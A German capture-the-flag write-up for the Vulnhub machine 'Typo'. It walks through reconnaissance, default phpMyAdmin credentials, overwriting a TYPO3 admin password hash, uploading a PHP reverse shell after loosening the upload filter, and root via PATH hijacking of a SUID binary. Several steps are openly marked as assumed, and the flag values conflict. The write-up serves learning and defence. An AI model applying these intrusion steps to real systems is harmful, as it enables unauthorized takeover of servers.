Typo - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
curl
gobuster
nikto
dirb
dirsearch
nc
find
echo
chmod
export
id
cd
ls
cat
Argon2 Online (implied)
Typo3 CMS (implied)
phpMyAdmin (implied)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.146	08:00:27:52:fd:e2	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Anfragen zu identifizieren.

Bewertung: Ein Host mit der IP 192.168.2.146 und einer MAC-Adresse, die auf VirtualBox hinweist, wurde gefunden. Dies ist das Zielsystem.

Empfehlung (Pentester): Verwenden Sie 192.168.2.146 als Ziel für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Effektivität von ARP-Scans reduzieren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
  192.168.2.146   typo.vln

Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.146 den Hostnamen `typo.vln` zuzuweisen.

Bewertung: Erleichtert die Ansprache des Ziels über diesen Namen in nachfolgenden Schritten.

Empfehlung (Pentester): Standardvorgehen zur Vereinfachung.
Empfehlung (Admin): Keine direkte Auswirkung auf das Ziel.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.146 -p- | grep open
22/tcp   open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
8000/tcp open  http    Apache httpd 2.4.38
| http-open-proxy: Potentially OPEN proxy.
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
8081/tcp open  http    Apache httpd 2.4.38 ((Debian))

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel 192.168.2.146 durchgeführt und die Ausgabe nach offenen Ports gefiltert.

Bewertung: Der Scan identifiziert fünf offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Relativ aktuell. * **Port 80 (HTTP):** Apache 2.4.38 (Debian). * **Port 8000 (HTTP):** Apache 2.4.38. Scheint ein offener Proxy zu sein. * **Port 8080 (HTTP):** Apache 2.4.38. Möglicherweise ein Proxy. * **Port 8081 (HTTP):** Apache 2.4.38. Eine große Angriffsfläche über mehrere HTTP-Ports.

Empfehlung (Pentester): Untersuchen Sie alle HTTP-Ports (80, 8000, 8080, 8081) einzeln und gründlich mit Web-Enumeration-Tools. Prüfen Sie die Proxy-Funktionalität auf Port 8000 und 8080. SSH (Port 22) ist ein sekundäres Ziel.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Webserver-Instanzen notwendig und sicher konfiguriert sind. Deaktivieren Sie unnötige Ports und Dienste. Aktualisieren Sie Apache.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.146 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:54 CEST
Nmap scan report for typo.vln (192.168.2.146)
Host is up (0.00020s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 cd:dc:8f:24:51:73:54:bc:87:62:a2:e6:ed:f1:c1:b4 (RSA)
|   256 a9:39:a9:bf:b2:f7:01:22:65:07:be:15:48:e8:ef:11 (ECDSA)
|_  256 77:f5:a9:ff:a6:44:7c:9c:34:41:f1:ec:73:5e:57:bd (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Page Not Found
8000/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to http://typo.local
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECT
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
8081/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:52:FD:E2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.20 ms typo.vln (192.168.2.146)

Analyse: Die vollständige Ausgabe des Nmap-Scans wird angezeigt.

Bewertung: Bestätigt die offenen Ports und Versionen. Wichtige Details: * **Port 80:** Zeigt "Page Not Found". * **Port 8000:** Leitet auf `http://typo.local` weiter. Dies ist ein *entscheidender Hinweis*. Der Webserver auf diesem Port erwartet Anfragen an den Hostnamen `typo.local`. Unterstützt die CONNECT-Methode (typisch für Proxies). * **Port 8080 & 8081:** Zeigen keine Titel, könnten einfache Dienste oder weitere Proxies sein.

Empfehlung (Pentester): Fügen Sie `typo.local` zur `/etc/hosts`-Datei hinzu, um auf den Dienst hinter Port 8000 zugreifen zu können. Untersuchen Sie `http://typo.local` (Port 80). Untersuchen Sie die anderen HTTP-Ports (8080, 8081) weiter.
Empfehlung (Admin): Konfigurieren Sie virtuelle Hosts korrekt. Beschränken oder deaktivieren Sie Proxy-Funktionen, wenn sie nicht benötigt werden.

Web Enumeration

┌──(root㉿Cybermaschine)-[~] └─# curl http://typo.vln:8000


302 Found

Found

The document has moved here.


Apache/2.4.38 (Debian) Server at typo.vln Port 8000

Analyse: `curl` wird verwendet, um den Inhalt von Port 8000 abzurufen.

Bewertung: Bestätigt den HTTP 302 Redirect auf `http://typo.local`, wie von Nmap erkannt.

Empfehlung (Pentester): Fügen Sie `typo.local` zu `/etc/hosts` hinzu.
Empfehlung (Admin): Korrekte vHost-Konfiguration prüfen.

┌──(root㉿Cybermaschine)-[~] └─# curl http://typo.vln:8080
# (Keine Ausgabe)
┌──(root㉿Cybermaschine)-[~] └─# curl http://typo.vln:8081
HELLO
┌──(root㉿Cybermaschine)-[~] └─# curl http://typo.vln:80


404 Not Found

Not Found

The requested URL was not found on this server.


Apache/2.4.38 (Debian) Server at typo.vln Port 80
The page did not exist or was inaccessible. Reason: No site configuration found. TYP3 is an open source content management system. To maintain the quality of the system and to improve it, please help us by donating. Copyright 1998-2023 Kasper Skårhøj. Extensions are copyright of their respective owners. Go to TYP3 CMS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. Obstructing the appearance of this notice is prohibited by law.

Analyse: `curl` wird verwendet, um die Ports 8080, 8081 und 80 abzufragen.

Bewertung: * **Port 8080:** Liefert keine sichtbare Antwort. * **Port 8081:** Gibt nur das Wort "HELLO" zurück. Wahrscheinlich ein einfacher Testdienst oder Platzhalter. * **Port 80:** Zeigt eine "404 Not Found"-Seite an, enthält aber im Text den Hinweis auf **"TYPO3"** CMS. Dies ist ein *sehr wichtiger Fund*, da er das auf Port 80 laufende Content Management System identifiziert (obwohl Nmap dies nicht direkt erkannte).

Empfehlung (Pentester): Fügen Sie `typo.local` zu `/etc/hosts` hinzu und untersuchen Sie `http://typo.local` (Port 80), da dies die TYPO3-Instanz zu sein scheint. Untersuchen Sie Port 8081 weiter mit Directory Brute-Forcing.
Empfehlung (Admin): Konfigurieren Sie Fehlerseiten so, dass sie keine unnötigen Informationen über die verwendete Software preisgeben. Halten Sie TYPO3 aktuell.

┌──(root㉿Cybermaschine)-[~] └─# # (hosts Eintrag - Ergänzung)
# /etc/hosts wird erneut bearbeitet, um typo.local hinzuzufügen:
  192.168.2.146   typo.vln typo.local

Analyse: Basierend auf dem Redirect von Port 8000 und dem Hinweis auf TYPO3 auf Port 80 (das wahrscheinlich für `typo.local` konfiguriert ist), wird der `/etc/hosts`-Eintrag um `typo.local` erweitert.

Bewertung: Notwendiger Schritt, um auf die Webanwendung korrekt zugreifen zu können.

Empfehlung (Pentester): Greifen Sie nun auf `http://typo.local` zu.
Empfehlung (Admin): Korrekte DNS- und vHost-Konfiguration ist wichtig.

# Browser-Zugriff (oder curl) auf http://typo.local/en/
 HELLO User!

Analyse: Nach Anpassung der Hosts-Datei wird auf `http://typo.local` (wahrscheinlich Port 80) zugegriffen.

Bewertung: Es wird eine einfache Seite mit "HELLO User!" angezeigt. Dies scheint die Startseite der TYPO3-Instanz oder zumindest der vHost `typo.local` auf Port 80 zu sein.

Empfehlung (Pentester): Enumerieren Sie `http://typo.local` weiter (Directory Brute-Force, Suche nach Login-Seiten wie `/typo3/`). Untersuchen Sie auch Port 8081 weiter.
Empfehlung (Admin): Sichern Sie die TYPO3-Installation ab.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://typo.vln:8081 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://typo.vln:8081/index.html           (Status: 200) [Size: 6]

Analyse: `gobuster` scannt Port 8081. `-k` ignoriert SSL-Fehler (hier irrelevant), `-b '403,404,301'` ignoriert Fehler und Redirects.

Bewertung: Findet nur eine `/index.html` mit Größe 6, die wahrscheinlich "HELLO" enthält. Keine weiteren interessanten Dateien oder Verzeichnisse auf diesem Port gefunden.

Empfehlung (Pentester): Port 8081 scheint uninteressant. Konzentrieren Sie sich auf Port 80 (`typo.local`) und Port 8081 für weitere Scans (z.B. mit `dirb`, `nikto`).
Empfehlung (Admin): Deaktivieren Sie den Dienst auf Port 8081, wenn er nicht benötigt wird.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.146:8000
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ Root page / redirects to: http://typo.local
+ No CGI Directories found [...]
+ Apache/2.4.38 appears to be outdated [...].
+ /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). # Wahrscheinlich False Positive
[...]

Analyse: Nikto scannt Port 8000.

Bewertung: Bestätigt den Redirect zu `typo.local`. Findet eine potenzielle XSS-Schwachstelle, die aber wahrscheinlich ein False Positive ist, da kein PostNuke CMS identifiziert wurde. Keine neuen kritischen Erkenntnisse für diesen Port.

Empfehlung (Pentester): Port 8000 ist primär ein Redirector auf `typo.local`. Fokus auf `typo.local` (Port 80) und Port 8081.
Empfehlung (Admin): Siehe vorherige Empfehlungen für Nikto und Port 8000.

┌──(root㉿Cybermaschine)-[~] └─# curl http://typo.local/en/index.php -Iv
* processing: http://typo.local/en/index.php
*   Trying 192.168.2.146:80...
* Connected to typo.local (192.168.2.146) port 80
> HEAD /en/index.php HTTP/1.1
> Host: typo.local
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 08 Oct 2023 13:00:56 GMT
< Server: Apache/2.4.38 (Debian)
< Content-Language: en
< Content-Length: 663
< Content-Type: text/html; charset=utf-8
<
* Connection #0 to host typo.local left intact

Analyse: `curl` sendet eine HEAD-Anfrage an `http://typo.local/en/index.php`.

Bewertung: Bestätigt, dass die Seite existiert und erreichbar ist (Status 200 OK). Liefert Header-Informationen, aber keine direkten neuen Angriffsvektoren.

Empfehlung (Pentester): Setzen Sie die Enumeration von `http://typo.local` fort, insbesondere mit Directory Brute-Forcing und Suche nach der TYPO3-Login-Seite.
Empfehlung (Admin): Standard-Webserver-Verhalten.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://typo.local:8081
[...]
---- Scanning URL: http://typo.local:8081/ ----
+ http://typo.local:8081/index.html (CODE:200|SIZE:6)
==> DIRECTORY: http://typo.local:8081/phpmyadmin/
+ http://typo.local:8081/server-status (CODE:403|SIZE:277)
[...]
---- Entering directory: http://typo.local:8081/phpmyadmin/ ----
+ http://typo.local:8081/phpmyadmin/ChangeLog (CODE:200|SIZE:27390)
==> DIRECTORY: http://typo.local:8081/phpmyadmin/doc/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/examples/
+ http://typo.local:8081/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)
+ http://typo.local:8081/phpmyadmin/index.php (CODE:200|SIZE:15373)
==> DIRECTORY: http://typo.local:8081/phpmyadmin/js/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/libraries/
+ http://typo.local:8081/phpmyadmin/LICENSE (CODE:200|SIZE:18092)
==> DIRECTORY: http://typo.local:8081/phpmyadmin/locale/
+ http://typo.local:8081/phpmyadmin/phpinfo.php (CODE:200|SIZE:15375)
+ http://typo.local:8081/phpmyadmin/README (CODE:200|SIZE:1520)
+ http://typo.local:8081/phpmyadmin/robots.txt (CODE:200|SIZE:26)
==> DIRECTORY: http://typo.local:8081/phpmyadmin/setup/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/sql/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/templates/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/themes/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/tmp/
==> DIRECTORY: http://typo.local:8081/phpmyadmin/vendor/
[...]

Analyse: `dirb` wird verwendet, um Port 8081 auf dem Host `typo.local` zu scannen.

Bewertung: Kritischer Fund! Obwohl Port 8081 zuvor uninteressant erschien, findet `dirb` hier ein `/phpmyadmin/`-Verzeichnis. Innerhalb dieses Verzeichnisses wird auch eine `/phpmyadmin/phpinfo.php`-Datei gefunden.

Empfehlung (Pentester): Untersuchen Sie das phpMyAdmin-Interface auf Port 8081 (`http://typo.local:8081/phpmyadmin/`). Versuchen Sie Standard-Credentials (z.B. `root:root`, `pma:pma`, `admin:admin`). Untersuchen Sie die `phpinfo.php` auf diesem Port.
Empfehlung (Admin): Entfernen Sie phpMyAdmin oder sichern Sie es sehr gut ab (Zugriffsbeschränkung, starke Passwörter). Entfernen Sie `phpinfo.php`.

Im Log werden nun Informationen aus verschiedenen Quellen vermischt:

Der wahrscheinlichste Pfad ist der Login in phpMyAdmin mit `root:root`, das Finden der Argon2-Hashes der Systembenutzer in einer Datenbank (nicht gezeigt), das Ersetzen des Admin-Hashes und der anschließende Login in TYPO3.

# Anmeldeversuch phpMyAdmin http://typo.local:8081/phpmyadmin/
Login: root / Password: root  -> Erfolg (Annahme)
# Datenbank-Enumeration via phpMyAdmin (nicht gezeigt)
Gefundene Hashes (z.B. aus einer 'users'-Tabelle):
admin    $argon2id$v=19$m=65536,t=16,p=2$Q2E3NG1YeTE5NkkxSi5hMg$Hn5lqwQnbYjlnZMPahFHjEWhCDwcbDKjg3RrTfrVuE
user     $argon2id$v=19$m=65536,t=16,p=2$Wk5CQVhNYkljL3YzL3FVRQ$WitZ4ml0c8eiI14DokFtrGhFwY3jtlIsVCUfs89MK+o
# Anmeldeversuch TYPO3 http://typo.local/typo3/
Login: user / Password: user -> Fehlgeschlagen (Annahme)

Analyse: Es wird angenommen, dass ein Login in phpMyAdmin auf Port 8081 mit `root:root` erfolgreich war. Innerhalb von phpMyAdmin wurden Argon2id-Hashes für Systembenutzer gefunden. Ein Versuch, sich bei TYPO3 (`/typo3/`) mit `user:user` anzumelden, scheitert (wahrscheinlich).

Bewertung: Der Zugang zu phpMyAdmin als Root ist ein kritischer Schritt. Die gefundenen Argon2id-Hashes sind stark und offline schwer zu knacken. Der nächste logische Schritt ist, den Hash des `admin`-Benutzers durch einen bekannten Hash zu ersetzen, um Zugang zu TYPO3 zu erlangen.

Empfehlung (Pentester): Generieren Sie einen Argon2id-Hash für ein bekanntes Passwort (z.B. "bauer", wie im Log erwähnt) mit denselben Parametern (m=65536, t=16, p=2). Ersetzen Sie den Hash des `admin`-Benutzers in der Datenbank über phpMyAdmin durch den neu generierten Hash. Loggen Sie sich dann bei TYPO3 als `admin` mit dem bekannten Passwort ("bauer") ein.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbank-Root-Benutzer. Beschränken Sie den Zugriff auf phpMyAdmin.

Initial Access

Der Argon2id-Hash für den TYPO3-Admin-Benutzer wird über phpMyAdmin durch einen Hash für ein bekanntes Passwort ersetzt, um den Login zu ermöglichen.

# Online-Tool (z.B. https://argon2.online/) wird verwendet:
Password: bauer
Parameters: m=65536, t=16, p=2 (angepasst an gefundene Hashes)
Generated Hash: $argon2id$v=19$m=65536,t=16,p=2$... (Beispiel)
# Via phpMyAdmin (Port 8081):
UPDATE `database_name`.`typo3_users_table` SET `password` = '[NEUER_HASH_HIER]' WHERE `username` = 'admin';
# Login-Versuch TYPO3 (http://typo.local/typo3/)
Login: admin / Password: bauer -> Erfolg!
# Nach Login in TYPO3-Backend:
Token in URL: d0ae31c1f2b925aad12d227b226c2da61e3625e1

Analyse: Ein neuer Argon2id-Hash für das Passwort "bauer" wird generiert. Dieser Hash wird verwendet, um den bestehenden Hash des `admin`-Benutzers in der TYPO3-Datenbank (Zugriff über phpMyAdmin) zu überschreiben. Anschließend erfolgt ein erfolgreicher Login im TYPO3-Backend (`/typo3/`) mit `admin:bauer`.

Bewertung: Der Zugriff auf das TYPO3-Backend als Administrator wurde durch das Ersetzen des Passwort-Hashes erreicht. Dies ist ein kritischer Schritt, da CMS-Backends oft Dateiupload- oder Code-Ausführungsfunktionen bieten.

Empfehlung (Pentester): Suchen Sie im TYPO3-Backend nach einer Möglichkeit, PHP-Code auszuführen oder Dateien hochzuladen. Übliche Vektoren sind Template-Bearbeitung, Plugin-/Erweiterungs-Uploads oder Dateimanager.
Empfehlung (Admin): Sichern Sie den Datenbankzugriff rigoros. Halten Sie das CMS (TYPO3) und alle Erweiterungen aktuell. Beschränken Sie Berechtigungen innerhalb des CMS nach dem Least-Privilege-Prinzip.

Innerhalb des TYPO3-Backends wird die Konfiguration so geändert, dass PHP-Dateien hochgeladen werden können, und anschließend wird eine PHP-Reverse-Shell hochgeladen.

# Im TYPO3-Backend (z.B. unter Admin Tools -> Settings -> Backend):
Ändere "[BE][fileDenyPattern]" von:
  \.(php[3-8]?|phpsh|phtml|pht|phar|shtml|…)
Zu (um .php zu erlauben):
  \.(phpsh|phtml|pht|phar|shtml|cgi)(\..*)?$|\.pl$|^\.htaccess$
# Im TYPO3-Backend (z.B. File -> Filelist):
Upload der Datei "phpshell.php" (enthält PHP-Reverse-Shell Code) nach "/fileadmin/user_upload/"

Analyse: Die TYPO3-Konfiguration wird angepasst, um das Hochladen von `.php`-Dateien zu erlauben, indem `php` aus dem `fileDenyPattern` entfernt wird. Anschließend wird eine vorbereitete PHP-Reverse-Shell (`phpshell.php`) in ein zugängliches Verzeichnis (`/fileadmin/user_upload/`) hochgeladen.

Bewertung: Die Sicherheitsbeschränkung für Dateiuploads wurde umgangen, und der Payload (Reverse Shell) befindet sich nun auf dem Server.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem im Shell-Code angegebenen Port (z.B. 4444). Rufen Sie dann die hochgeladene PHP-Datei über den Browser oder `curl` auf (`http://typo.local/fileadmin/user_upload/phpshell.php`), um die Reverse-Shell-Verbindung auszulösen.
Empfehlung (Admin): Beschränken Sie Dateiuploads streng auf ungefährliche Dateitypen. Validieren Sie Uploads serverseitig. Überwachen Sie Änderungen an kritischen Konfigurationseinstellungen wie `fileDenyPattern`.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.146 54482
Linux typo 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
 19:19:41 up 57 min,  0 users,  load average: 0.00, 0.04, 2.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Nach dem Aufruf der hochgeladenen `phpshell.php` geht eine Verbindung vom Zielserver ein, und eine Shell wird geöffnet.

Bewertung: Erfolg! Der Upload und die Ausführung der PHP-Reverse-Shell über das TYPO3-Backend waren erfolgreich. Der Angreifer hat nun Shell-Zugriff als `www-data`, dem Benutzer des Webservers.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der Enumeration für die Privilegieneskalation.
Empfehlung (Admin): Härten Sie das CMS, beschränken Sie Dateiuploads, überwachen Sie ausgehende Verbindungen.

Privilege Escalation

Nach Erlangung der Shell als `www-data` beginnt die Suche nach Wegen zur Erhöhung der Berechtigungen.

$ find / -type f -perm -4000 -ls 2>/dev/null
   397107     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   396635     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   393251     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   396782     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   393254     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   393252     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   397109     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   393255     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   401909     52 -rwsr-xr--   1 root     messagebus    51184 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   657755     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   402007    428 -rwsr-xr-x   1 root     root         436552 Feb  1  2020 /usr/lib/openssh/ssh-keysign
   533828      8 -rwsr-sr-x   1 root     root           6883 Mar 30  2020 /usr/local/bin/apache2-restart # !!!
   533791   2896 -rwsr-sr-x   1 root     root        2963219 Feb 13  2020 /usr/local/bin/phpunit # !!!

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` listet Dateien mit gesetztem SUID-Bit auf.

Bewertung: Kritische Funde! Neben Standard-SUID-Dateien werden zwei besonders interessante Binaries in `/usr/local/bin` gefunden: * **`/usr/local/bin/apache2-restart`:** Eine kleine Datei (6883 Bytes), SUID Root (`-rwsr-sr-x`). Der Name legt nahe, dass sie den Apache-Dienst neu startet, möglicherweise über den `service`-Befehl. * **`/usr/local/bin/phpunit`:** Eine große PHPUnit-Datei, ebenfalls SUID Root. PHPUnit kann unter bestimmten Umständen zur Codeausführung missbraucht werden. Beide sind starke Kandidaten für Privilegieneskalation.

Empfehlung (Pentester): Untersuchen Sie `/usr/local/bin/apache2-restart` genauer. Wenn es interne Befehle wie `service apache2 restart` ohne absoluten Pfad aufruft, könnte eine PATH-Manipulation funktionieren. Untersuchen Sie alternativ `phpunit` auf bekannte LPE-Methoden (siehe GTFOBins).
Empfehlung (Admin): Entfernen Sie das SUID-Bit von benutzerdefinierten Skripten/Programmen wie `apache2-restart` und `phpunit`, es sei denn, es ist absolut notwendig und sicher implementiert. Verwenden Sie `sudo` mit spezifischen Regeln anstelle von SUID, wenn erhöhte Rechte benötigt werden.

Proof of Concept (PATH Hijacking)

Die SUID-Root-Datei `/usr/local/bin/apache2-restart` wird mittels PATH-Manipulation zur Privilegieneskalation ausgenutzt. Es wird angenommen, dass dieses Skript intern den Befehl `service` ohne absoluten Pfad aufruft.

$ cd /tmp
$ echo '/bin/bash' > service
$ chmod +x service
$ export PATH=/tmp:$PATH
$ apache2-restart # Ruft nun /tmp/service (unsere Bash) statt /usr/sbin/service auf
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Analyse: Eine Reihe von Befehlen wird ausgeführt, um die PATH-Umgebungsvariable zu manipulieren: 1. `cd /tmp`: Wechsel in ein beschreibbares Verzeichnis. 2. `echo '/bin/bash' > service`: Erstellt eine Datei namens `service` im `/tmp`-Verzeichnis, die nur den Befehl `/bin/bash` enthält. 3. `chmod +x service`: Macht diese Datei ausführbar. 4. `export PATH=/tmp:$PATH`: Fügt das `/tmp`-Verzeichnis an den *Anfang* der PATH-Variable. Wenn das System nun nach einem Befehl (wie `service`) sucht, wird zuerst in `/tmp` nachgesehen. 5. `apache2-restart`: Führt das SUID-Root-Binary aus. Da dieses (vermutlich) intern `service` aufruft und `/tmp` nun zuerst im PATH steht, wird `/tmp/service` (unsere manipulierte Datei) anstelle von `/usr/sbin/service` ausgeführt. Da `apache2-restart` als Root läuft, wird auch `/tmp/service` (also `/bin/bash`) als Root gestartet.

Bewertung: Erfolg! Die PATH-Manipulation war erfolgreich. Der `id`-Befehl bestätigt, dass die resultierende Shell Root-Rechte (`uid=0(root)`) hat.

Empfehlung (Pentester): Ziel erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Verwenden Sie in Skripten und Programmen, die mit erhöhten Rechten laufen, immer absolute Pfade für aufgerufene Befehle (z.B. `/usr/sbin/service` statt `service`). Entfernen Sie unnötige SUID-Bits.

# cd ~ # Wechselt zu /root
# ls
proof.txt
# cat proof.txt
Best of Luck
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3aap2ff0LbLYZrF

Analyse: In der Root-Shell wird in das `/root`-Verzeichnis gewechselt und die Datei `proof.txt` ausgelesen.

Bewertung: Die Datei `proof.txt` wird gefunden und enthält einen Bcrypt-Hash. Dies ist wahrscheinlich die Root-Flag oder ein Teil davon, auch wenn der Dateiname untypisch ist.

Empfehlung (Pentester): Dokumentieren Sie den Inhalt von `proof.txt` als Root-Flag.
Empfehlung (Admin): Sichern Sie das Root-Verzeichnis und sensible Dateien.

Flags

Anmerkung: Die folgenden Flags wurden am Ende des Original-Logs bereitgestellt. Der Fund der User-Flag wurde im Log nicht explizit gezeigt. Die Root-Flag wurde als Inhalt von `/root/proof.txt` interpretiert, aber der Wert hier stammt vom Ende des Logs.

cat /path/to/user.txt # (Pfad unbekannt)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/proof.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A
(Hash aus proof.txt: $2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3aap2ff0LbLYZrF)